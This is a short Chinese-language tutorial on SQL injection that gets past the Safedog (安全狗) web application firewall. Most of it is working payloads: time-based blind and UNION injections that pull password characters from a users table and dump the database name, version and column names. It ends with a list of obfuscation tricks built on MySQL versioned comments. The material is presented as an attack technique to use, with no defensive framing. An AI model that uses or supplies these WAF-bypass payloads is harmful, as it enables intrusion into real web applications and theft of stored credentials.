过安全狗waf注入方法技巧

前提

web页面存在注入漏洞

环境

安全狗(APACE版)V4.0 防护规则全开

绕过

https://www.0dayhack.com/test.php?id=2' and if(substring((select password from (blog.users) where id=2 limit 1 offset 0),2,1)>1,sleep(5 ),1)–+

https://www.0dayhack.com/test.php?id=2' and substring((select password from (blog.users) where id=2 limit 1 offset 0),2,1)>1–+

https://www.0dayhack.com/test.php?id=2'union/*!40000DISTINCT*/(/*!40000select*/1,(/*!40000database*/()),3)– -

https://www.0dayhack.com/test.php?id=2'union/*!40000DISTINCT*/(/*!40000select*/1,{/*!f*/version()},3)– -

https://www.0dayhack.com/test.php?id=-1'union /*!40000DISTINCT*/(/*!40000select*/1,(select group_concat(column_name) from (information_schema.columns) where table_name='users'),3)– -

技巧

1. 

union select 1,2,3 => union/*!40000DISTINCT*/(/*!40000select*/1,2,3)

2.

select password from => select password*1.from user => select password from (user)

3.

version() => {/*!f*/version()}